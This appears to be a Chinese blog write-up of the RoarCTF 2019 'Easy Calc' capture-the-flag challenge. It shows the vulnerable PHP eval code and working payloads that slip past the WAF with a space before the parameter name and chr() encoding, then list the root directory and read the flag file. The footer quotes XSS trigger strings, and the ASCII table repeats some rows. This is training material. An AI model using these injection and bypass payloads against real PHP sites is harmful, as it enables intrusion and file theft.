【BUUCTF】 [RoarCTF 2019]Easy Calc 详细题解笔记 Writeup

Roar CTF 2019 坦克大战 Writeup 下载压缩包 解压看到 可知该游戏由Unity3D编写,由于没有相关逆向经验,上网查阅得知游戏代码部分都在Assembly-CSharp.dll文件中,通过dnspy可以打开此类型的dll. 直接查看跟题目相关的函数,在MapManager下有名为WinGame的函数.源码如下 // MapManager // Token: 0x06000029 RID: 41 RVA: 0x00003050 ... 阅读详情
AI摘要

本文详细解析RoarCTF2019中的EasyCalc挑战,介绍如何利用PHP和WAF之间的请求参数解析差异进行绕过,通过scandir和file_get_contents函数读取目录和文件,以及HTTP走私技巧绕过WAF,揭示了PHP字符串解析特性和函数绕过的技巧。

一. 题目

在这里插入图片描述
网页源码

<!--I've set up WAF to ensure security.-->
<script>
    $('#calc').submit(function(){
        $.ajax({
            url:"calc.php?num="+encodeURIComponent($("#content").val()),
            type:'GET',
            success:function(data){
                $("#result").html(`<div class="alert alert-success">
            <strong>答案:</strong>${data}
            </div>`);
            },
            error:function(){
                alert("这啥?算不来!");
            }
        })
        return false;
    })
</script>
calc.php?num=encodeURIComponent($("#content").val())

$("#content").val()
获取id为content的HTML标签元素的值,是JQuery
$("#content")
同document.getElementById(“content”);
$("#content").val()
同document.getElementById(“content”).value;

访问calc.php的源码,显示了waf的过滤规则

 <?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

http://node3.buuoj.cn:27447/calc.php? num=phpinfo();

在这里插入图片描述

禁用函数了system()

calc.php? num=system(chr(34).chr(108).chr(115).chr(34))

在这里插入图片描述

二. 利用php和waf对于请求参数解析的差异达到绕过

1.scandir("/")函数读取目录,/ 被过滤所以换为chr(47)绕过,

查看目录,找flag

calc.php? num=1;var_dump(scandir(chr(47)))

1array(24) { [0]=> string(1) “.” [1]=> string(2) “…” [2]=> string(10) “.dockerenv” [3]=> string(3) “bin” [4]=> string(4) “boot” [5]=> string(3) “dev” [6]=> string(3) “etc” [7]=> string(5) “f1agg” [8]=> string(4) “home” [9]=> string(3) “lib” [10]=> string(5) “lib64” [11]=> string(5) “media” [12]=> string(3) “mnt” [13]=> string(3) “opt” [14]=> string(4) “proc” [15]=> string(4) “root” [16]=> string(3) “run” [17]=> string(4) “sbin” [18]=> string(3) “srv” [19]=> string(8) “start.sh” [20]=> string(3) “sys” [21]=> string(3) “tmp” [22]=> string(3) “usr” [23]=> string(3) “var” }

读取f1agg文件

calc.php? num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

1array(1) { [0]=> string(43) "flag{d7237702-d691-465b-825e-14f50e5ea684} " }

(1).同1,但空格换为+

calc.php?+num=1;var_dump(scandir(chr(47)))

1array(24) { [0]=> string(1) “.” [1]=> string(2) “…” [2]=> string(10) “.dockerenv” [3]=> string(3) “bin” [4]=> string(4) “boot” [5]=> string(3) “dev” [6]=> string(3) “etc” [7]=> string(5) “f1agg” [8]=> string(4) “home” [9]=> string(3) “lib” [10]=> string(5) “lib64” [11]=> string(5) “media” [12]=> string(3) “mnt” [13]=> string(3) “opt” [14]=> string(4) “proc” [15]=> string(4) “root” [16]=> string(3) “run” [17]=> string(4) “sbin” [18]=> string(3) “srv” [19]=> string(8) “start.sh” [20]=> string(3) “sys” [21]=> string(3) “tmp” [22]=> string(3) “usr” [23]=> string(3) “var” }

calc.php?+num=1;var_dump(file(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

1array(1) { [0]=> string(43) "flag{d7237702-d691-465b-825e-14f50e5ea684} " }

(2).这里的chr(47)也可以换为hex2bin(dechex(47))

dechex()函数把十进制数转换为十六进制数。hex2bin()函数把十六进制值的字符串转换为 ASCII字符。

calc.php?+num=1;var_dump(scandir(hex2bin(dechex(47))))

1array(24) { [0]=> string(1) “.” [1]=> string(2) “…” [2]=> string(10) “.dockerenv” [3]=> string(3) “bin” [4]=> string(4) “boot” [5]=> string(3) “dev” [6]=> string(3) “etc” [7]=> string(5) “f1agg” [8]=> string(4) “home” [9]=> string(3) “lib” [10]=> string(5) “lib64” [11]=> string(5) “media” [12]=> string(3) “mnt” [13]=> string(3) “opt” [14]=> string(4) “proc” [15]=> string(4) “root” [16]=> string(3) “run” [17]=> string(4) “sbin” [18]=> string(3) “srv” [19]=> string(8) “start.sh” [20]=> string(3) “sys” [21]=> string(3) “tmp” [22]=> string(3) “usr” [23]=> string(3) “var” }

(3).file_get_contents

calc.php?%20num=1;var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

1string(43) "flag{d7237702-d691-465b-825e-14f50e5ea684} "

2.http走私绕过WAF

http走私绕过WAF

三. 基础知识

1.利用PHP的字符串解析特性Bypass

利用PHP的字符串解析特性Bypass
在这里插入图片描述php从请求的url中取出参数并保存之前,1.删除空白符号 2.将一些特殊字符(包括空格)转换为下划线_

php解析时,如果变量前面有空格,会去掉前面的空格再解析,PHP解析时 'num'=' num'='+num',认为是同一个变量,但是waf只认’num’而’ num’和’+num’都不在范围内,这样就能绕过waf。

2. PHP 函数

部分常用函数在waf中可能会被过滤掉,需要用一些其它的函数。

部分常用函数在waf中可能会被过滤掉,需要用一些其它的函数来实现。
var_dump() 将变量以字符串形式输出,替代print和echo
chr() ASCII范围的整数转字符
file_get_contents() 顾名思义获取一个文件的内容,替代system('cat flag;')
scandir() 扫描某个目录并将结果以array形式返回,配和vardump 可以替代system('ls;')
scandir() 函数返回指定目录中的文件和目录的数组。

PHP chr() 函数:chr(ascii)

chr() 函数从指定的 ASCII 值返回字符。
ASCII 值可被指定为十进制值、八进制值或十六进制值。八进制值被定义为带前置 0,而十六进制值被定义为带前置 0x。

<?php
echo chr(61) . "<br>"; // 十进制
echo chr(061) . "<br>"; // 八进制值
echo chr(0x61) . "<br>"; // 十六进制值
?>

playload中,chr().chr().chr(),里面的. 即“点号”
“点号”是一个字符串连接符,即并置运算符,用来拼接字符串。
“逗号”不是连接符,是分隔符,在使用 echo 输出一系列的变量、字符串、数字等内容时,用“逗号”分割开。

<?php
echo "hello"."world"; //. 连接两个字符串
echo "<br/>";
echo 'a' . 'b'. 'c'; //是将三个字符串拼接之后输出
echo "<br/>";
echo 'a', 'b', 'c'; //是依次输出三个字符串
echo "<br/>";
?>

helloworld
abc
abc

简单的查看方法:
打开记事本,如要查看“Chr(“119”) ”,可以按下Alt不放,输入数字119,再放开Alt,显示结果为w

Python 转换查看

print(ord('a'))
print(chr(97))
#encoding=utf-8
#py3+

# 用户输入字符
c = input("请输入一个字符: ")

# 用户输入ASCII码,并将输入的数字转为整型
a = int(input("请输入一个ASCII码: "))

print(c + " 的ASCII 码为", ord(c))
print(a, " 对应的字符为", chr(a))
#encoding=utf-8
#无提示输入字符串,获取每个字符的ascii码

a = input()
for i in range(len(a)):
    print("ascii of " + a[i] + " is: " + ascii(ord(a[i])))

Aa‘“
ascii of A is: 65
ascii of a is: 97
ascii of ‘ is: 8216
ascii of “ is: 8220

#encoding=utf-8
c = input("Please input a char: ")
a = int(input("Please input a ascii:"))
while True:
    if a < 0:
        print("ascii is wrong, Plese try again")
        a = int(input("Please input a ascii:"))
    elif a > 1000:
        print("ascii is wrong, Plese try again")
        a = int(input("Please input a ascii:"))
    else:
        break

print(" this is a ascii test")
print("assic is:",ord(c))
print(" char is:", chr(a))

ASCII可显示字符

2 	   	    10 	16 	图形
0010 0000 	32 	20 	(空格)(␠)
0010 0001 	33 	21 	!
0010 0010 	34 	22 	"
0010 0011 	35 	23 	#
0010 0100 	36 	24 	$
0010 0101 	37 	25 	 %
0010 0110 	38 	26 	&
0010 0111 	39 	27 	'
0010 1000 	40 	28 	(
0010 1001 	41 	29 	)
0010 1010 	42 	2A 	*
0010 1011 	43 	2B 	+
0010 1100 	44 	2C 	,
0010 1101 	45 	2D 	-
0010 1110 	46 	2E 	.
0010 1111 	47 	2F 	/
0011 0000 	48 	30 	0
0011 0001 	49 	31 	1
0011 0010 	50 	32 	2
0011 0011 	51 	33 	3
0011 0100 	52 	34 	4
0011 0101 	53 	35 	5
0011 0110 	54 	36 	6
0011 0111 	55 	37 	7
0011 1000 	56 	38 	8
0011 1001 	57 	39 	9
0011 1010 	58 	3A 	:
0011 1011 	59 	3B 	;
0011 1100 	60 	3C 	<
0011 1101 	61 	3D 	=
0011 1110 	62 	3E 	>
0011 1111 	63 	3F 	?
0100 0000 	64 	40 	@
0100 0001 	65 	41 	A
0100 0010 	66 	42 	B
0100 0011 	67 	43 	C
0100 0100 	68 	44 	D
0100 0101 	69 	45 	E
0100 0110 	70 	46 	F
0100 0111 	71 	47 	G
0100 1000 	72 	48 	H
0100 1001 	73 	49 	I
0100 1010 	74 	4A 	J
0100 1011 	75 	4B 	K
0100 1100 	76 	4C 	L
0100 1101 	77 	4D 	M
0100 1110 	78 	4E 	N
0100 1111 	79 	4F 	O
0101 0000 	80 	50 	P
0101 0001 	81 	51 	Q
0101 0010 	82 	52 	R
0101 0011 	83 	53 	S
0101 0100 	84 	54 	T
0101 0101 	85 	55 	U
0101 0110 	86 	56 	V
0101 0111 	87 	57 	W
0101 1000 	88 	58 	X
0101 1001 	89 	59 	Y
0101 1010 	90 	5A 	Z
0101 1011 	91 	5B 	[
0101 1100 	92 	5C 	\
0101 1101 	93 	5D 	]
0101 1110 	94 	5E 	^
0101 1111 	95 	5F 	_
0110 0000 	96 	60 	`
0110 0001 	97 	61 	a
0110 0010 	98 	62 	b
0110 0011 	99 	63 	c
0100 0000 	64 	40 	@
0100 0001 	65 	41 	A
0100 0010 	66 	42 	B
0100 0011 	67 	43 	C
0100 0100 	68 	44 	D
0100 0101 	69 	45 	E
0100 0110 	70 	46 	F
0100 0111 	71 	47 	G
0100 1000 	72 	48 	H
0100 1001 	73 	49 	I
0100 1010 	74 	4A 	J
0100 1011 	75 	4B 	K
0100 1100 	76 	4C 	L
0100 1101 	77 	4D 	M
0100 1110 	78 	4E 	N
0100 1111 	79 	4F 	O
0101 0000 	80 	50 	P
0101 0001 	81 	51 	Q
0101 0010 	82 	52 	R
0101 0011 	83 	53 	S
0101 0100 	84 	54 	T
0101 0101 	85 	55 	U
0101 0110 	86 	56 	V
0101 0111 	87 	57 	W
0101 1000 	88 	58 	X
0101 1001 	89 	59 	Y
0101 1010 	90 	5A 	Z
0101 1011 	91 	5B 	[
0101 1100 	92 	5C 	\
0101 1101 	93 	5D 	]
0101 1110 	94 	5E 	^
0101 1111 	95 	5F 	_
0110 0000 	96 	60 	`
0110 0001 	97 	61 	a
0110 0010 	98 	62 	b
0110 0011 	99 	63 	c
0110 0000 	96 	60 	`
0110 0001 	97 	61 	a
0110 0010 	98 	62 	b
0110 0011 	99 	63 	c
0110 0100 	100 	64 	d
0110 0101 	101 	65 	e
0110 0110 	102 	66 	f
0110 0111 	103 	67 	g
0110 1000 	104 	68 	h
0110 1001 	105 	69 	i
0110 1010 	106 	6A 	j
0110 1011 	107 	6B 	k
0110 1100 	108 	6C 	l
0110 1101 	109 	6D 	m
0110 1110 	110 	6E 	n
0110 1111 	111 	6F 	o
0111 0000 	112 	70 	p
0111 0001 	113 	71 	q
0111 0010 	114 	72 	r
0111 0011 	115 	73 	s
0111 0100 	116 	74 	t
0111 0101 	117 	75 	u
0111 0110 	118 	76 	v
0111 0111 	119 	77 	w
0111 1000 	120 	78 	x
0111 1001 	121 	79 	y
0111 1010 	122 	7A 	z
0111 1011 	123 	7B 	{
0111 1100 	124 	7C 	|
0111 1101 	125 	7D 	}
0111 1110 	126 	7E 	~

0111 1111   127     7F  DEL 删除 

https://www.litefeel.com/tools/ascii.php

在这里插入图片描述
在这里插入图片描述

CTF平台题库writeup(四)--BugKuCTF-代码审计(14题详解) 1、extract变量覆盖 <?php $flag='xxx'; extract($_GET); if(isset($shiyan)) { $content=trim(file_get_contents($flag)); if($shiyan==$content) { echo'flag{xxx}'; } else { echo'Oh.no'; } } ?> 知识点: 变量覆盖 file_get_contents():将整个文件读入一个字符串 trim()去除字符串两侧的空格或者指定 阅读详情

相关推荐

【buuctf】[RoarCTF]Easy Calc

正是修行时

932

BUUCTF__[RoarCTF 2019]Easy Calc_题解

一、看题 拿到题目 输入发现会显示简单的计算。 想到是不是ssti模板注入。 尝试{{1+1}}报错,行不通。 F12查看源码。发现存在WAF,访问 calc.php 。 尝试访问得到源代码。 <?php error_reporting(0); if(!isset($_GET['num'])){ show_source(__FILE__); }else{ $str = $_GET['num']; $blacklist = [' ', '\t', '\r'

风过江南乱的博客 1275

WAF绕过的各种方法总结.pdf

WAF绕过的各种方法总结总结语2019年7月9日,仅供学习参考,请勿用于非法用途

buuctf--[RoarCTF 2019]Easy Calc 1--WAF

点击链接,进入默认页面: 是一个计算器的小应用 f12,查看源码可以得到提示: 这样我们知道有个calc.php文件,还有个num变量 同时还知道设置了WAF 现在查看calc.php: 因为显示了源码,我们也知道了会过滤一些输入 接下来开始正式解题: 首先WAF会限制我们对num的输入,不能出现字母 但是通过在num和?间加一个空格就可以绕过: 对比: 接下来,我们需要从文件夹里找出flag,这就需要我们通过scandir()函数读取文件夹里的文件,再用print_r输出: 不过由于 / 被过滤了,因此

llx101388627的博客 774

3D点云目标检测Complex-YOLO(训练篇)(一)———KITTI数据集预处理与制作

KITTI dataset Download dataset KITTI 3D Object Detection Evaluation 2017 link 下载四个部分,共41.4GB 解压后为四部分内容(相机校准矩阵calib、RGB图像image_2、标签label_2、点云数据velodyne) 对应的testing和training数据。其中,training数据为7481张(图片和点云对应的场景),testing数据 7518张(无label_2数据)。 Data Preprocess

“知识最大的敌人不是无知,而是错觉” 7150

fMRI独立成分分析方法(ICA)工具GIFT

详细介绍了进行fmri数据进行ICA分析的工具包GIFT的使用,和进行ICA分析的流程。

m0_58256026的博客 1万+

121,【5】 buuctf web [RoarCTF 2019] Easy Calc

函数的主要功能是输出当前 PHP 环境的详细配置信息。得知参数名为num,传递方式是get。号通常会被当作空格来处理。尝试看看能不能得到源码。发现calc.php。

2402_87039650的博客 668

GD32F303实战:用定时器4触发ADC2+DMA,实现10ms精准采样1024点的完整流程

本文详细介绍了在GD32F303微控制器上使用Timer4触发ADC2配合DMA传输,实现10ms精准采样1024点的完整方案。从硬件架构设计、时钟树配置到定时器参数计算,提供了完整的工程实现流程和常见问题排查方法,适用于工业传感器监测等高实时性场景。

weixin_29194693的博客 433

BUUCTF -Web -[RoarCTF 2019]Easy Calc1 writeup

考点:php字符串解析漏洞,waf防护方式,php函数的应用 打开靶机,发现是个计算机,输入数字不报错,但如果输入字母: 不返回东西了,不过通过f12可以发现一些信息: 从源码可知, 这个网页有waf防护墙, url网址是clac.php 查看一下calc.php,发现源码: 这里我抓包了,直接在网页传cala.php也能看到源码,分析源码,过滤了很多符号。 WAF防护: 在又拍云的云安全类别中,WAF防护是其中之一的功能,WAF主要防护的是来自对网站源站的动态...

m0_62851980的博客 591

安鸾渗透测试平台-CTF系列-bash

工具Xshell 公网VPS接收反弹shell Xshell新手的下载及安装教程(超详细)_新手程序员攀爬之路的博客-优快云博客_xshell使用教程 Xshell连接后 #!/bin/bash cat ${0} while : do echo "$" read input output=`$input` 显示了一个文件,不过咋做呢?这里可能考察的是linux的语法 方法 输入bash 获得shell cat ${0} while : do .

AAAAAAAAAAAA66的博客 2689

别再盯着那 100 条数据了,RAP OData 分页机制到底在保护什么

摘要: SAP BTP ABAP Environment 的 OData 服务默认采用分页保护机制,未指定 $top 时仅返回100条数据并附带下一页链接。这种设计旨在防止资源滥用,而非服务故障。客户端应遵循OData协议规范,直接使用服务端返回的 next link 进行分页请求,而非自行构造URL。当指定 $top 参数时,若数值超过5000仍会被强制分页。该机制在SAPUI5控件中被自动处理,但自定义客户端需主动实现分页逻辑。对于自定义实体(Custom Entity),开发者需在Query Prov

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 859

RoarCTF 2019 Easy Calc Writeup:从参数解析到WAF绕过与命令执行

在Web安全中,PHP参数解析与WAF过滤规则的差异往往成为攻击面。当服务端与安全设备对同一请求的理解不一致时,看似严密的黑名单也可能被轻松绕过。本文从基础概念切入,解释PHP如何解析查询字符串、为何参数名前的空格会被忽略,进而分析命令执行函数的利用方式。通过RoarCTF 2019 Easy Calc题目,展示如何结合hex2bin、动态函数调用等技术,绕过空格、斜杠等过滤,最终读取flag。该案例不仅适用于CTF竞赛,对真实业务中的代码审计与WAF加固同样具有参考价值。

weixin_29323493的博客 327

10分钟极速SpringBoot项目搭建:OpenClaw AI实战攻略

OpenClaw,作为一款革命性的 AI 工具,凭借其强大的智能体能力,能够在短短 10 分钟内,帮助开发者从零构建一个完整的 SpringBoot 项目,实现真正的极速开发。它不仅极大地提高了开发效率,还降低了开发门槛,让更多的开发者能够专注于业务逻辑的实现,而无需被繁琐的配置工作所困扰

远程部署调试 运行安装 项目调试 二次开发 项目技术新 持续迭代 部分源码免费分享 298

【BUUCTF】[RoarCTF 2019]Easy Calc

其实网上已经有很多Writeup了,但我是第一次接触CTF,看视频自学的,很多地方都不太懂,所以在看别人的wp的时候仍然有不太懂的地方,这里记录一下自己不懂的点,附上自己借鉴的wp的链接: 借鉴 为什么是char(47): 本来是要用scandir("/"),但这个符号“/”被过滤掉了 所以用char(47)来代替“/”这个符号 (很简单的点,嗯。) ...

mzytobenumber1的博客 296

图文详解秋叶ComfyUI整合包开启密码访问教程(附内网穿透实战经验) ComfyUI密码、ComfyUI-Login、ComfyUI内网穿透、秋叶整合包、ComfyUI安全防护

想远程访问 ComfyUI(跨设备或公网)不希望任何人随意使用或篡改服务需要给 ComfyUI 添加登录验证机制只要按照本文教程,安装插件,并设置好用户名密码,你就能把服务加上一道强力的门槛。📌配合ngrokfrp等内网穿透工具使用公网域名推荐启用 HTTPS(SSL证书可以用宝塔/ZeroSSL 申请)密码可以设置复杂一些,定期更换更安全📬如果你在配置过程中遇到问题,欢迎评论区留言交流,或者私信我,后续我也会更新更多 ComfyUI 插件教程、安全部署经验等内容。

代码简单说 Vue、JAVA、PHP、Node.js 熟练运用,接口、架构、性能全搞定。 2725

uniapp - H5网页打包运行报错Failed to load resource: net::ERR_FILE_NOT_FOUND(uniApp打包成H5部署到服务器,打包h5白屏并报错页面空白)

Failed to load resource: net::ERR_FILE_NOT_FOUND,uniapp 坑之打包之后白屏,uniapp打包h5,HBuilderX 打包H5后空白报错 Failed to load resource: net::ERR FILE NOT_FOUND,UNI-APP H5应用白屏(空白页)解决方案,白屏并报错Failed to load resource: net::ERR_FILE_NOT_FOUND,uniapp开发,打包成H5部署到服务器,uniapp打包之后首页

🏆 前端领域优质创作者 3576

BUUCTF-WEB详细解题攻略第一页(按解出数降序排序)

BUUCTF-WEB题解索引,按解出数排序。每题附详细Payload与思路,适合CTF刷题备查。

2503_94637398的博客 1771

LinePhone3.2.7(android端最新版本) sip客户端

SIP客户端For android:LinePhone3.2.7(最新版本),官网地址:http://www.linphone.org/

BUUCTF-[RoarCTF2019]polyre

控制流平坦化,然后代码流程:第一个for循环没用,从第二个看外循环6次,内循环64次,把flag看为8个字节一组,然后如果是非负数就乘2(相当左移),如果是负数就乘2(相当左移)在异或一个数。简单来说,OLLVM会添加一个用于控制跳转的状态变量和分发器:当一个真实块执行完成后,会把状态变量的值进行更新,回到分发器进行检查,再根据状态变量的值跳转到下一个真实块执行;提取码u2g0,下载完后注意:deflat.py文件中的sys.path.append()后的地址是你下载的am_graph.py的地址,

weixin_61154173的博客 915

精雕软件(JDpaint) 5.5 绿色版

精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版精雕软件(JDpaint) 5.5 绿色版

大中型超市收银系统(可直接运行)

光步前台收银系统系统功能:商品销售、商品退货、挂单、收银员权限、会员销售、单品取消、整单取消、商品查询、脱机销售、脱机数据上传,基本资料下载,开钱箱、小票打印、收款结算,支持多币种付款方式(现金、储值卡、礼券、微信等),支持多种促销。运行环境:.net 4.0登陆信息用户名:1001 密码:123456内置商品信息,商品编码可输入00001000 - 00010000,测试效果相关功能键F5 结算 F9挂单 F11商品查询 F8退货 Insert单品取消 Del整单取消 F12开钱箱F2 会员 Ctrl+Z退出系统 Home 锁屏 相关源码待公开

【靶场练习】BUUCTF——[RoarCTF 2019]Easy Java

[RoarCTF 2019]Easy Java

weixin_49422491的博客 2607

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

CTF writeup 1_网络安全实验室

基础关1.key在哪里? 过关地址打开网址 “key就在这里中,你能找到他吗? ” 看看源代码有没有线索~果然<html> <head> <meta http-equiv="content-type" content="text/html;charset=utf-8"> </head> <body> key就在这里中,你能找到他吗?

Troy 32万+

安恒月赛 image up

http://101.71.29.5:10007/index.php?page=login 仔细观察这个url的话会发现,存在文件包含。 而且并没有login.php而是login,猜测代码是 <?php include str."php"; 随便账号密码就能登陆,来到了一个上传页面,只能上传图片,回头看看题目 这里的思路明确了,文件包含加图片马。 在这时间统一的世界里,上传图...

weixin_30900589的博客 1101

伪造XFF头绕过服务器IP过滤

IP伪造 TCP/IP层面的IP伪造很难实现,因为更改后很难实现正常的TCP通信,但在HTTP层面的伪造就显得很容易。可以通过伪造XFF头进行IP伪造 XFF字段 X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。通俗来说,就是浏览器访问网站的IP。一般格式: X-Forwarded-For:...

weixin_34367845的博客 1437

XSS触发语句小结

一、标准语句 <script>alert(/XSS/)</script> 二、尝试大小写 <sCript>alert(1)</scRipt> 三、使用<img>标签 1、windows事件 <img src="x" onerror=alert(1)> <img src="1" onerror=eval("...

7Riven's blog 2539

渗透测试工具库-收藏版

浩二一开始做渗透测试的时候收集超多的资料和工具,一直在文档里吃灰。对BillGates Linux Botnet系木马活动的监控工具。

baidu_38876334的博客 1277

BUUCTF web部分writeup

持续更新 [MRCTF2020]你传你????呢 很显然这是一道文件上传题,我们直接上传一个webshell.php 好像不行过滤了,我们抓一下包。猜测是验证文件的后缀,我们把文件后缀名php改成jpg emmmm,发现还是不行,修改一下Content-Type,修改成image/jpeg 后缀名再修改为php发现不能上传,猜测应该是验证了Content-type和文件的后缀名,我们爆破一下看看过滤了哪...

西部壮仔的博客 2169

CTFWeb-BUUCTF竞赛真题WriteUp(1)

BUUCTF (北京联合大学CTF)平台拥有大量免费的 CTF 比赛真题环境: 此处记录下部分 Web 题目练习过程。 N0.1 强网杯-高明的黑客 1、创建并访问靶机: 2、根据题目提示,访问并下载 www.tar.gz: 打开压缩包,发现有3000多个php文件,尝试搜索flag文件,未果。于是打开php文件进行代码审计,发现代码中存在大量使用 system()/eval()/assert() 等函数执行 get 或 post 传递的参数,这意味我们也许可以通过传递参数的方式来执行任意命令。

道阻且长,行则将至 9299
上一篇: 优快云 博客 基础创作模板
下一篇: 【CTF】Python 常见基础实例总结笔记
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值